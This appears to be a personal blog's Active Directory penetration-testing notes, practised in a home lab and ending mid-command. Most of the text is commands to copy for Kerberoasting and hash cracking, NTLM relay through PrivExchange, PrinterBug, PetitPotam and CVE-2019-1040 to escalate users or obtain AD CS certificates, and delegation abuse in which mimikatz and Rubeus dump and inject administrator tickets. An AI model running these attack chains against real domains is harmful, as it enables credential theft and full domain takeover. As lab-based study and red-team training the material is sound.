Active Directory Pentesting on MentalityXt

Active Directory Pentesting: Common Techniques

Mon, 25 Nov 2024 12:00:00 +0800

1. WSMan/WinRM

WinRM Uses Ports 5985 (HTTP) and 5986 (HTTPS) by Default

If WinRM is enabled on the domain controller, once we get hold of an account:

1
2
3
4
5
6


# Use crackmapexec to check privileges
crackmapexec winrm <DC_IP> -u svc-account -p password --shares
# Try WinRM
evil-winrm -i <DC_IP> -u svc-account -p password

Bypass-4MSI switches to cmd

Active Directory Pentesting: Targeting Common Services

Sun, 24 Nov 2024 22:55:00 +0800

1. SPN

SPN Basics:

SPN stands for Service Principal Name and uniquely identifies a service instance in a domain environment
Its usual format is: service type/hostname
For example: HTTP/webserver.domain.com

Why SPNs Matter:

They are a key part of Kerberos authentication
When a user accesses a service, its SPN is used to obtain a Kerberos ticket for that service
A service account’s SPN information is stored in Active Directory

Why Scan for SPNs:

Discover services registered in the domain
Identify potential service accounts
Prepare for a later Kerberoasting attack

Lab Setup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


powershell.exe
# Import the AD module first
Import-Module ActiveDirectory
Then create the service account
New-ADUser -Name "SQLService" -SamAccountName "SQLService" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# Run on the domain controller
# Register an SPN for SQLService
setspn -A MSSQLSvc/dc.test.local:1433 SQLService

# Verify successful registration
setspn -L SQLService

Exploitation from a Non-Domain Machine:

1
2
3
4
5


# Use the acquired credentials
GetUserSPNs.py domain.com/compromised_user:password -dc-ip <DC_IP> -request

# If you obtained a hash, you can also authenticate with it
GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip <DC_IP> -request

This is what gets returned when authentication succeeds.

An error returns this instead.

Step-by-Step Exploitation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# Step 1: Enumerate SPNs
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP>

# Step 2: Request tickets (the -request option)
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request

# Step 3: Save tickets to a file
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request -output tickets.txt

# Step 4: Crack the tickets with hashcat
hashcat -m 13100 tickets.txt wordlist.txt

Strategies for Different Situations:

Domain user credentials available: use GetUserSPNs.py directly
Only an NTLM hash available: use the -hashes argument
A ticket is available: use the -k argument for ticket-based authentication

Things to Keep in Mind:

Scanning activity may be detected
A large number of ticket requests may trigger alerts
Keep scans targeted and avoid broad probing

Real-World Example:

1
2
3
4
5
6
7
8


# For example, find the SQL service SPN
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100
# The output may show:
# MSSQLSvc/DBSERVER.domain.com:1433

# Obtain a ticket for this service
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai
/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$

2. Cracking Domain Service Accounts

https://github.com/nidem/kerberoast

This is much like the method above; the difference is the situation where you use it. The first method requires a domain member’s username and password. The second requires access to a domain-joined host, after which it can be run on that machine.

1

setspn -T PENTEST.com -Q */*

For convenience, I ran it directly on the domain controller. If a domain member account also has access to this sqlserver, it will show up as well.

1
2


Extract the obtained tickets from Mimikatz memory
kerberos::list /export

1

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

No longer supported? The approach below also works—just convert it for hashcat.

1
2


python /usr/share/john/kirbi2john.py ticket.kirbi > hash.txt
hashcat -m 13100 hash.txt word.txt

3. NTLM Relay

(1) Privexchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://github.com/dirkjanm/privexchange/

https://github.com/ridter/exchange2domain

Exchange server —-authentication request—-> our relay server —-modified and forwarded—-> domain controller (high privilege) (modified authentication content) (LDAP service)

In practice, we set up an NTLM relay. The Exchange server’s authentication request passes through our relay, which modifies and forwards it to grant our account DCSync rights.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


Requirements:
● An Exchange server exists and is reachable
● A domain user account (must have a mailbox)
 ○ A username and password are required
 ○ Or access to a domain user account has already been obtained
Optional conditions:
● When operating from a domain-joined host, the current user's credentials can be used
● Domain account credentials are unnecessary if a man-in-the-middle position is available

# Required tools
- ntlmrelayx.py (Impacket toolkit)
- privexchange.py (PrivExchange tool)

# Required information
- Exchange server IP/hostname
- Domain controller IP
- Domain name
- Credentials for a domain user with a mailbox

There are two possible situations.

1
2
3


Use known domain user credentials directly
The user must have a mailbox
The attack can be initiated externally or internally

1
2
3


Requires access to the domain network
Requires a man-in-the-middle position
Uses another user's authentication request

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


1. Setup phase
 User (with a mailbox) -----> Exchange
 "Configure a notification to send to http://ATTACKER_IP"

2. Exchange processing phase
 Exchange ----authentication required----> ATTACKER_IP
 "I am the Exchange server and I am sending the notification"

3. Man-in-the-middle operation
 Exchange authentication ----relay----> Domain controller LDAP
 "Relay Exchange authentication to the domain controller to modify permissions"

Setting Up the NTLM Relay:

This package is included with impacket.

1
2


ntlmrelayx.py -t ldap://dc-ip --escalate-user ATTACKER_USER
ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1

This step sets up the “man in the middle”
It gets ready to receive Exchange authentication and forward it to the DC

Triggering Exchange Authentication:

https://github.com/dirkjanm/privexchange/

1
2


privexchange.py -ah ATTACKER_IP EXCHANGE_SERVER -u DOMAIN_USER -d DOMAIN_NAME
privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local

Abuse the PushSubscription feature
Make the Exchange server authenticate to our relay server

(2) Printerbug (NTLM Authentication)

This is a protocol design issue, not a vulnerability.

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

Lab setup:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


Environment requirements:
- The Print service is enabled on Windows Server
- The Spooler service is running
- Domain user access (no special privileges required); any user will work

Checks:
# Check whether the Print service is running
Get-Service Spooler

# Start the service if it is not enabled
Start-Service Spooler
Set-Service Spooler -StartupType Automatic

It is generally enabled by default

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Basic usage
python printerbug.py DOMAIN_NAME/USERNAME:PASSWORD@TARGET_IP ATTACKER_IP

# Specific example
python printerbug.py test.local/TestUser:Password123!@192.168.0.110 192.168.0.103
python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser

test.local -> Domain name
TestUser -> Username
Password123 -> Password
192.168.0.111 -> Target IP (DC)
192.168.0.103 -> Attacker IP

(3) PetitPotam (NTLM Authentication)

This is affected by CVE-2021-36942.

The rough range is Windows Server 2008 through 2019.

https://github.com/topotam/PetitPotam

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


Environment requirements:
- Windows Server
- The MS-EFSRPC service is available
- Domain user access (no special privileges required)

Checks:
# Check whether the RPC and EFS services are running
Get-Service RpcSs
Get-Service EFS

Attacker host requirements:
- Impacket toolkit
- ntlmrelayx.py
- Network access to the target

Target host:
- LDAP is enabled (enabled by default on a DC)
- Certificate Services (when relaying to AD CS)

1
2
3
4
5
6
7
8


Commands:
# Start the relay
python ntlmrelayx.py -t ldap://DC-IP --escalate-user USERNAME --no-smb-server
python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server

# Trigger authentication
python PetitPotam.py -d domain -u user -p pass ATTACKER_IP DC-IP
python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110

(4) Relay LDAP (NTLM Relay)

https://www.freebuf.com/articles/network/368583.html

Relay LDAP (NTLM relay) mainly uses CVE-2019-1040 to bypass LDAP signing.

The second and third methods trigger authentication; this one uses a vulnerability to create the relay.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


- Bypasses LDAP signing
- Allows relaying to LDAP/LDAPS
- Works even when signing protection is enabled

Affected versions
Windwos 7 SP 1 through Windows 10 1903;
Windows Server 2008 through Windows Server 2019

# Start the relay
python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic

# Or use the full options for the vulnerability
python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic --no-smb-server --no-http-server

--remove-mic: Exploit CVE-2019-1040 to bypass signing
--escalate-user: Specify the user to escalate
-t ldap://DC-IP: Specify the target DC

(5) Relay AD CS/PKI (NTLM Relay)

https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/

The target needs to have Active Directory Certificate Services configured.

URLs:

I couldn’t get the lab working, so I’ll just record the method here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# Basic syntax
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs

# Additional options
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate

python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

-t http://CA-SERVER: Certificate server web address
--adcs: Specify an AD CS attack
--template: Specify the certificate template (optional)

1
2
3


# https://github.com/topotam/PetitPotam

PetitPotam.exe 172.16.79.1 172.16.79.2

Ntlmrelay running on Darwin will generate a CSR (Certificate Signing Request) and try to abuse a vulnerable PKI template to create a certificate:

If it succeeds, ntlmrelayx will receive:

[+] Base64 certificate of user 2012DC$: MI… (a long string of Base64-encoded certificate data)

Next, we use what we obtained.

1

Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...

This gets us a TGT, after which we can use DCSync to obtain the DA NTLM Hash.

Automation Tools

RelayX bundles several useful relay techniques together, making testing more efficient:

1

python relayx.py live.local/002:'LIVE@2021'@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController

ADCSPwn essentially automates the attacks covered above. https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn

ADCSPwn is written in C#. Once compiled, it can conveniently be loaded into memory and run through execute-assembly. It uses PetitPotam to relay NTLM to AD CS and request a machine-account certificate. ADCSPwn also requires the WebClient service to be enabled on the remote machine that is triggered to authenticate. It is not installed by default and must be enabled manually; see How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files.

When requesting a CA certificate, ADCSPwn cycles through every certificate template and attempts a request. Ordinary domain member machines use the Machine certificate template, while DCs use DomainController. To determine whether a template is usable, ADCSPwn looks for “Certificate Request Denied” in the response. In a Simplified Chinese environment, the response uses the localized certificate-request-denied message instead. To support multilingual environments, change “Certificate Request Denied” in line 382 of ADCSPwn/RelayServer.cs, in if (responseFromServer.Contains(“Certificate Request Denied”)), to “locDenied”, which is the HTML element ID on the certificate-request-denied response page. This issue was fixed in https://github.com/bats3c/ADCSPwn/pull/5 (pull request).

1

ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001

After obtaining the 2012dc$ machine-account certificate, continue the attack with Rubeus.

Internal Port 445

PortBender

https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0

For example, we may want to run PortBender in redirector mode so that we can launch an SMB relay attack from a compromised Windows system. We can tell PortBender to redirect all traffic bound for 445/TCP to the alternate port 8445/TCP, where the attacker’s SMB service is listening. In this example, we run “PortBender redirect 445 8445” to do that.

1
2
3
4


# Run the C# file directly
PortBender redirect 445 8445

It only includes a CNA plugin, not an EXE; packaging it manually may also work

(6) Additional Technique

Trigger authentication through antivirus software.

1
2


cd "\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe

4. Kerberos Delegation Attacks

Reference: https://xz.aliyun.com/t/7217

Background

Domain delegation means delegating a domain user’s privileges to a service account, allowing that service account to act in the domain with the user’s privileges.

The two main forms are unconstrained delegation (Unconstrained delegation) and constrained delegation (Constrained delegation). There is also resource-based constrained delegation (Resource Based Constrained Delegation), but that is not the focus here. Let’s look at how unconstrained and constrained delegation can each be exploited.

Finding Delegated Users and Computers in the Domain

How It Works

When a service account or host is configured for unconstrained delegation, its userAccountControl attribute contains TRUSTED_FOR_DELEGATION
When a service account or host is configured for constrained delegation, its userAccountControl attribute contains TRUSTED_TO_AUTH_FOR_DELEGATION, and its msDS-AllowedToDelegateTo attribute contains the constrained services

The usual way to find delegated users or computers in a domain is to query over LDAP (short for LightweightDirectory Access Protocol) and filter matching users or computers by the userAccountControl attribute. We can use ADSI (short for ActiveDirectory Service Interfaces Editor) to edit and modify LDAP. Run adsiedit.msc to open the ADSI editor, then locate a user configured for unconstrained delegation. Its userAccountControl attribute will contain TRUSTED_FOR_DELEGATION.

Lab Setup (Skip This)

You can skip this section. It mainly configures two types of accounts. An unconstrained delegation account requires a domain-joined host and must be configured on that host.

If you have a host in the domain, configure the unconstrained delegation account and then follow the steps below to set up IIS for testing. I did not test this; using a machine account directly also works.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


Step 1: Confirm the hostname
- Run hostname on the target host to confirm its hostname
- Ensure the hostname matches the one configured in the SPN

Step 2: Install IIS
- Install IIS on the target host
Install-WindowsFeature -Name Web-Server -IncludeManagementTools

Step 3: Configure the service account
- Open IIS Manager (inetmgr)
- Locate DefaultAppPool or create an application pool
- Configure its identity as the domain account (test\svc_iis)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


First IIS service account
# CN stands for Common Name and identifies a location in Active Directory
# For example, CN=Users,DC=domain,DC=com refers to the domain's Users container

New-ADUser -Name "svc_iis" `
 -SamAccountName "svc_iis" `
 -UserPrincipalName "svc_iis@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/webserver.test.local","HTTP/webserver" `
 -Description "IIS Service Account"

# Add the required group memberships to the account
Add-ADGroupMember -Identity "Server Operators" -Members "svc_iis"

# Set the SPN
setspn -A HTTP/webserver.domain.com svc_iis
setspn -A HTTP/webserver svc_iis

# Verify user creation
Get-ADUser svc_iis -Properties *

# Verify the SPN configuration
setspn -L svc_iis

========================================================================================

Second SharePoint service account
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# Add the required group memberships to the account
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# Set the SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# Verify user creation
Get-ADUser svc_sharepoint -Properties *

# Verify the SPN configuration
setspn -L svc_sharepoint

======================================================================================
IIS
# View the current service account
Get-ADUser svc_iis -Properties *

# Configure unconstrained delegation
Set-ADUser -Identity "svc_iis" -TrustedForDelegation $true

# Verify the configuration
Get-ADUser svc_iis -Properties userAccountControl
# The userAccountControl attribute should include TRUSTED_FOR_DELEGATION (524288)
======================================================================================
sharepoint
# As an example, allow it to delegate to the CIFS service
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/test.local')}

# Verify the configuration
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

======================================================================================
# Find all accounts configured for unconstrained delegation
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation

# Find all accounts configured for constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

Finding Unconstrained Delegation

ldapsearch

This comes with Kali and is useful for queries from outside the domain.

There are too many arguments to list one by one. Run ldapsearch -h whenever you need to look them up.

Find users configured for unconstrained delegation in the domain:

1

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

An ordinary domain member account is enough to query this.

Find hosts configured for unconstrained delegation in the domain:

1

ldapsearch -x -H ldap://192.168.0.110:389 -D "CN=TestUser,CN=Users,DC=test,DC=local" -w "Password123\!" -b "DC=test,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

For convenience, you can simply change 805306368 to 805306369.

Note: For more LDAP filter syntax, see the Microsoft manual: link

ADFind

Syntax:

1

AdFind [switches] [-b basedn] [-f filter] [attr list]

Arguments:

-b: specifies the root node to query
-f: LDAP filter condition
attr list: attributes to display

https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools

1. Find users configured for unconstrained delegation (from inside the domain):

1

AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

For convenience, I ran it on the domain controller.

2. Find users configured for unconstrained delegation (from outside the domain):

1

AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

The author of the blog I used as a reference did not test this, but the GitHub repository linked above has the exact method.

3. Find hosts configured for unconstrained delegation:

1
2
3
4


# Inside the domain
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# Outside the domain
AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Find users configured for constrained delegation.

1
2


Import-Module .\PowerView.ps1
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

I couldn’t find an argument for username-and-password authentication.

https://blog.csdn.net/qq_41874930/article/details/109616189

https://www.cnblogs.com/-zhong/p/12374568.html

https://www.freebuf.com/sectool/173366.html

These three pages introduce the module.

Find hosts configured for constrained delegation:

1
2
3


Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
Get-DomainComputer -Unconstrained
Get-DomainComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

The output looks roughly like this:

1
2
3
4
5
6
7
8


distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local
# This is the domain controller path

useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# This indicates that the host is configured for unconstrained delegation

dnshostname : WindowsServerAD.test.local
# This is the host's DNS name

Exploiting Unconstrained Delegation

Overview

With unconstrained delegation enabled on service1’s service account, the user’s TGT is sent to service1 and cached in memory. service1 can then reuse that TGT to access any domain service the user is authorized to access.

The unconstrained delegation request flow (diagram from the Microsoft manual):

The Kerberos request shown above breaks down into these steps:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


1. The user sends a `KRB_AS_REQ` message to the `KDC` to request a forwardable `TGT1`.

2. The KDC returns `TGT1` in a `KRB_AS_REP` message.

3. The user uses the TGT1 from step 2 to request a forwarded TGT2.

4. The KDC returns TGT2 for the user in a KRB_TGS_REP message.

5. The user uses the TGT1 returned in step 2 to request an ST (Service Ticket) for Service1 from the KDC.

6. The TGS returns the ST for service1 to the user in a KRB_TGS_REP message.

7. The user sends a KRB_AP_REQ message to request Service1. The message contains TGT1, the ST for Service1, TGT2, and the SessionKey for TGT2.

8. service1 sends the user's TGT2 to the KDC in a KRB_TGS_REQ message to request an ST for service2 on the user's behalf.

9. In a KRB_TGS_REP message, the KDC returns the ST for service2 to service1 along with a session key that service1 can use. The ST identifies the client as the user, not service1.

10. service1 sends a KRB_AP_REQ to service2 on the user's behalf.

11. service2 responds to service1's request.

12. With this response, service1 can respond to the user's request from step 7.

13. The TGT forwarding delegation mechanism does not restrict which service service1 can use TGT2 for, so service1 can request a ticket for any other service from the KDC on the user's behalf.

14. The KDC returns the ST requested in step 13.

15-16. service1 requests other services on the user's behalf.

Note: TGT1（forwardable TGT） is used to access Service1, while TGT2（forwarded TGT） is used to access Service2.

Environment:

Domain: test.local
Domain controller: windows server 2022, hostname: WindowsServerAD, IP: 192.168.0.110, user: administrator
Domain-joined host: windows 10, hostname: win10, IP: 192.168.0.104, user: jerry

As mentioned above, unconstrained delegation is generally configured on service accounts or machine accounts. Setting up an environment and creating a service account is a bit of a hassle, so using a machine account is easier here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


1. Configure on the domain controller (Domain Admin privileges required):
PowerShell commands:
# Configure the WIN10 machine account for unconstrained delegation
Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true

2. Verify the configuration:
# Check the host's delegation configuration
Get-ADComputer WIN10 -Properties userAccountControl

# Or use PowerView to find all hosts with unconstrained delegation
Get-DomainComputer -Unconstrained

# Or use an LDAP query
Get-DomainObject -LDAPFilter "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

With that configured, we can get ready to make the domain administrator trigger authentication.

P.S. I have already elevated to administrator on this win10 machine, so I can host plenty of things locally, such as IIS or MYSQL. The account currently in use also has unconstrained delegation rights. At this point, I can set up whichever service I want—IIS, MYSQL, and so on—and wait for the domain administrator to access it.

Configure the WINRM service on win10.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# Run the following commands on WIN10:

# 1. Configure WinRM quickly (run as administrator)
winrm quickconfig -q

# 2. Allow HTTP transport
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

# 3. Configure the allowed authentication methods
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Kerberos="true"}

# 4. Configure the firewall rule (if not already enabled)
Enable-PSRemoting -Force

# 5. Confirm that the WinRM service is running
Get-Service WinRM

# 6. Check the WinRM listener
winrm enumerate listener

1
2
3
4
5
6
7


# Run on the domain controller
# Method 1: Enter-PSSession
Enter-PSSession -ComputerName WIN10

# Method 2: WinRM
winrm quickconfig # Ensure the WinRM service is enabled
Test-WSMan -ComputerName WIN10 # Test the connection

At this point, the domain administrator’s TGT is cached on win10, and we can dump it with mimikatz.

1
2


privilege::debug
sekurlsa::tickets /export

Then use ptt to inject the TGT into the current session.

1
2


kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
dir \\WindowsServerAD.test.local\c$

I couldn’t get the method between the horizontal rules to work. It kept failing, and I still don’t know why. The error said that the system could not contact a domain controller to service the authentication request and to try again later. So it looks like I can’t use mimikatz here.

Rubeus

This worked fine for me.

Project: https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

You need to compile it yourself. Install vs, open the sln file, and build the solution.

I compiled it already. The commands below are the smoothest workflow I found.

1
2
3
4


# Export the obtained ticket to ticket.txt
Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap >> ticket.txt
# If successful, the text file will contain Base64-encoded data; import the ticket directly
Rubeus.exe ptt /ticket:[BASE64_ENCODED_TICKET]

Here is why I did not use the other commands. This is only for reference; there is no need to test it.

1
2
3
4


# This is supposed to import the ticket directly, but it did not work
Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt
Rubeus.exe monitor /interval:1 /targetuser:administrator
# In practice, the two commands above behaved the same; /ptt did not appear to work

We actually have the Base64-encoded ticket now, but copying it is painful because all the spaces and line breaks need to be removed. Saving it to a file is much easier.

This is very easy to copy. That is why the working command above writes it to a file before copying it.

1
2
3
4
5
6


# Next, write the Base64 data to admin.kirbi
# Import it with Mimikatz
mimikatz.exe
kerberos::purge # Clear existing tickets
kerberos::ptt admin.kirbi # Import the new ticket
# Unfortunately, the import failed immediately with an error

So the working flow I gave at the start is probably the best option. Maybe my windows server 2022 version is too new, or perhaps my mimikatz version is too old. Either way, at least there is one method that works.

1

Enter-PSSession -ComputerName WindowsServerAD

We still use the WinRM service to connect back to the domain controller.

Unconstrained Delegation + the Spooler Service

After reading through this, it feels a bit like NTLM relay, though it is not quite the same. At least both techniques use the spooler service to trigger authentication.

Plain unconstrained delegation requires an administrator to connect voluntarily, which makes it rather awkward to use in a real engagement.

Combining unconstrained delegation with the Spooler service lets us force a specified host to connect. This scenario was presented by tifkin_, enigma0x3, and harmj0y at DerbyCon 2018.

Presentation slides: link

How it works: it abuses an old but enabled-by-default method in the Windows Print System Remote Protocol （MS-RPRN）. A domain user can call the MS-RPRN RpcRemoteFindFirstPrinterChangeNotification（Ex） method to force any computer running the Spooler service to authenticate over Kerberos or NTLM to a target chosen by the attacker.

The request flow looks like this:

Image source: http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

Note: The Print Spooler service runs automatically by default.

The prerequisite is access to a domain-joined machine whose machine account has unconstrained delegation enabled.

My environment is unchanged from the one above.

tifkin_ open-sourced the POC on GitHub: https://github.com/leechristensen/SpoolSample

I tried compiling it several times without success. It seems to be a small PowerShell issue.

I could not solve that for now, but I found a project with precompiled binaries.

https://github.com/jtmpu/PrecompiledBinaries

Run it in the virtual machine.

1
2
3
4
5


# Specify the domain controller and local host; any names will work if DNS resolves them
SpoolSample.exe WindowsServerAD WIN10
SpoolSample.exe WindowsServerAD.test.local WIN10.test.local
# Start monitoring for tickets; the command above monitors the user, while this one monitors the domain controller
Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$

It worked. I won’t reconnect to the domain controller here because the process is identical to the one above, and I still cannot use mimikatz. I’ll leave it at that.

Exploiting Constrained Delegation

Overview

Because unconstrained delegation is insecure, Microsoft introduced constrained delegation in windows server 2003, extending the Kerberos protocol with S4U. S4U supports two subprotocols: Service for User to Self (S4U2Self) and Service for User to Proxy (S4U2proxy). Both extensions let a service request tickets from the KDC on behalf of a user. S4U2self can request a Kerberos service ticket (ST) to itself on its own behalf, while S4U2proxy can request an ST to another service on behalf of a user. Constrained delegation limits the scope of the S4U2proxy extension.

The S4U2Self and S4U2proxy request flow (diagram from the Microsoft manual):

Note: Steps 1–4 show the S4U2Self request flow, while steps 5–10 show the S4U2proxy request flow.

Here is the request flow in words:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


1. The user sends a request to service1. The user is authenticated, but service1 does not have the user's authorization data. This usually occurs when authentication uses a method other than Kerberos.

2. The S4U2self extension requests ST1 from the KDC for access to service1 on the user's behalf.

3. The KDC returns ST1 to Service1 for the user to authenticate to Service1. ST1 may contain the user's authorization data.

4. service1 can use the authorization data in the ST to fulfill the user's request and then respond to the user.
Note: Although S4U2self provides service1 with information about the user, it does not allow service1 to request other services on the user's behalf. This is where S4U2proxy is used.

5. The user sends a request to service1, which needs to access a resource on service2 as the user.

6. service1 requests ST2 from the KDC for the user to access service2.

7. If the request contains a PAC, the KDC validates it by checking its signature data. If the PAC is valid or absent, the KDC returns ST2 to service1, but the client identity stored in ST2's cname and crealm fields is the user, not service1.

8. service1 uses ST2 to send a request to service2 on the user's behalf, indicating that the KDC authenticated the user.

9. service2 responds to the request from step 8.

10. service1 responds to the user's request from step 5.

Procedure

Environment:

Domain: test.local
Domain controller: windows server 2022, hostname: WindowsServerAD, IP: 192.168.0.110, user: administrator
Domain-joined host: windows 10, hostname: win10, IP: 192.168.0.104, user: jerry

Create a service account:

I already covered this above, but exploiting it there was a bit of a hassle, so I skipped it. I’ll include it again here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


Second SharePoint service account
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# Add the required group memberships to the account
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# Set the SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# Verify user creation
Get-ADUser svc_sharepoint -Properties *

# Verify the SPN configuration
setspn -L svc_sharepoint

# As an example, allow it to delegate to the CIFS service
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{
 'msDS-AllowedToDelegateTo'=@(
